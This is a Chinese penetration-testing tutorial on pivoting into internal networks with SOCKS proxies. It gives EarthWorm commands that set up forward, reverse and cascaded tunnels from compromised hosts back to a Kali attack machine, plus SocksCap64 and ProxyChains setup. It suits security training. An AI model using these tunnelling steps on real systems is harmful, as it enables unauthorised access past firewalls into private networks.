SOCKS代理
常见的网络场景有如下三类。
- 服务器在内网中,可以任意访问外部网络。
- 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
- 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。
1 常用的SOCKS代理工具
SOCKS是一种代理服务,可以简单地将一端的系统连接另一端。 SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型:SOCKS 4只支持TCP协议;SOCKS 5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能。SOCKS代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的SOCKS代理工具,能够支持多平台的工具更佳。
常用的SOCKS代理工具有:EarthWorm、reGeorg、sSocks、SocksCap64、Proxifier、ProxyChains
2 SOCKS代理技术在网络环境中的应用
2.1 EarthWorm的应用
EW的使用也非常简单,共有六种命令格式,分别是ssocksd、rcsocks、 rssocks、 lcx_slave、lcx_listen、 lex_tran。 其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是resocks、rssocks, 其他命令用于复杂网络环境的多级级联。
正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。
工具链接:https://github.com/idlefire/ew
测试环境:
- kali攻击机:192.168.220.165
- web服务器(win7):192.168.220.143、10.0.52.10
- 内网主机(win2003):10.0.52.20
(1)正向SOCKS5服务器
以下命令适用于目标机器拥有一个外网IP地址的情况。
1 | ew -s ssocksd -l 888 |
执行上述命令,即可架设一个端口为888的SOCKS代理。接下来,使用SocksCap64添加这个IP地址的代理即可。
(2)反弹SOCKS5服务器
目标机器没有公网IP地址的情况具体如下(使其可以访问内网资源)。
首先,将EW上传到kali攻击机中,执行如下命令。
1 | ew -s rcsocks -l 1080 -e 888 |
该命令的意思是:在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。然后,将EW上传到Web服务器中,执行如下命令。
1 | ew -s rssocks -d 192.168.220.165 -e 888 |
该命令的意思是:在IP地址为192.168.220.143的服务器上启动SOCKS5服务,然后,反弹到192.168.220.165kail攻击机的888端口。
最后,可以在kali的命令行界面看到反弹成功。现在就可以通过访问192.168.220.165 kali攻击机的1080端口,使用在网络右侧IP地址为10.0.52.10的服务器上架设的SOCKS5代理服务了。
(3)二级网络环境(a)
假设已经获得了A主机和B主机的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(10.0.52.10)只能连接内网中的B主机,但无法访问内网中的其他资源。B主机可以访问内网资源,但无法访问外网。
首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKs代理,命令如下。
1 | ew -s ssocksd -l 888 |
然后,将EW上传到A主机中,执行如下命令。
1 | ew -s lcx_tran -l 1080 -f 10.0.52.20 -g 888 |
该命令的意思是:将1080端口收到的代理请求转发给B主机的888端口。现在就可以通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理了。
(4)二级网络环境(b)
假设已经获得了A主机和B主机的控制权限。A主机既没有公网IP地址,也无法访向内网资源。B主机可以访问内网资源,但无法访问外网。
首先,将EW上传到kali攻击机中,把1080端口收到的代理请求转发给888端口,执行如下命令。
1 | ew -s lcx_listen -l 10800 -e 888 |
该命令的意思是:在公网kali攻击机中添加转接隧道,将10800端口收到的代理请求转发给888端口。接着,将EW上传到B主机中,并利用ssocksd方式启动999端口的SOCKS代理,命令如下。
1 | ew -s ssocksd -l 999 |
然后,将EW上传到A主机中,执行如下命令。
1 | ew -s lcx_slave -d 192.168.220.165 -e 888 -f 10.0.52.10 -g 999 |
该命令的意思是:在A主机上利用lcx_slave 方式,将攻击机的888端口和B主机的999端口连接起来。
(5)三级网络环境
三级网络环境在渗透测试中比较少见,也比较复杂。测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问; C主机可被B主机访问,而且能够访问核心区域。
首先,将EW上传到kali攻击机中,把1080端口收到的代理请求转发给888端口,执行如下命令。
1 | ew -s rcsocks -l 1080 -e 888 |
在A主机上执行如下命令,将kali攻击机的888端口和B主机的999端口连接起来。
1 | ew -s lcx_slave -d 192.168.220.165 -e 888 -f <主机B IP地址> -g 999 |
在B主机上执行如下命令,将999端口收到的代理请求转发给777端口。
1 | ew -s lcx_listen -l 999 -e 777 |
在C主机上启动SOCKS5服务,并反弹到B主机的777端口上,命令如下。
1 | ew -s rssocks -d <主机B IP地址> -e 777 |
现在就可以通过访问kali攻击机的1080 端口使用在C主机上架设的SOCKS 5代理了。
2.2 在Windows下使用SocksCap64实现内网漫游
下载并安装SocksCap64, 以管理员权限打开程序。
SocksCap64的使用方法比较简单,单击“代理”按钮,添加一个代理,然后设置代理服务器:的IP地址和端口即可。设置完成后,可以单击界面上的闪电图标按钮,测试当前代理服务器是否可以连接。
选择浏览器,单击右键,在弹出的快捷菜单中单击“ 在代理隧道中运行选中程序”选项,就可以自由访问内网资源了。
2.3 在Linux下使用ProxyChains实现内网漫游
Kali Linux中预装了ProxyChains, 稍加配置就可以使用。打开终端,输人如下命令。
1 | vi /etc/proxychains.conf |
删除“dynamic_ chain” 前面的注释符“#”。来到窗口底部,把“127.0.0.1 9050”改成想要访问的端口的信息。
测试一下代理服务器是否能正常工作。在终端输入如下命令。
1 | proxyresolv www.baidu.com |
此时会显示“未找到命令”的提示信息。在终端输人如下命令。
1 | cp /usr/lib/proxychains3/proxyresolv /usr/bin/ |
再次测试代理服务器的工作是否正常。显示“OK”,表示代理服务器已经正常工作了。现在就可以访问内网了。先访问内网中的网站。在终端输人“proxychains firefox”命令,启动火狐浏览器。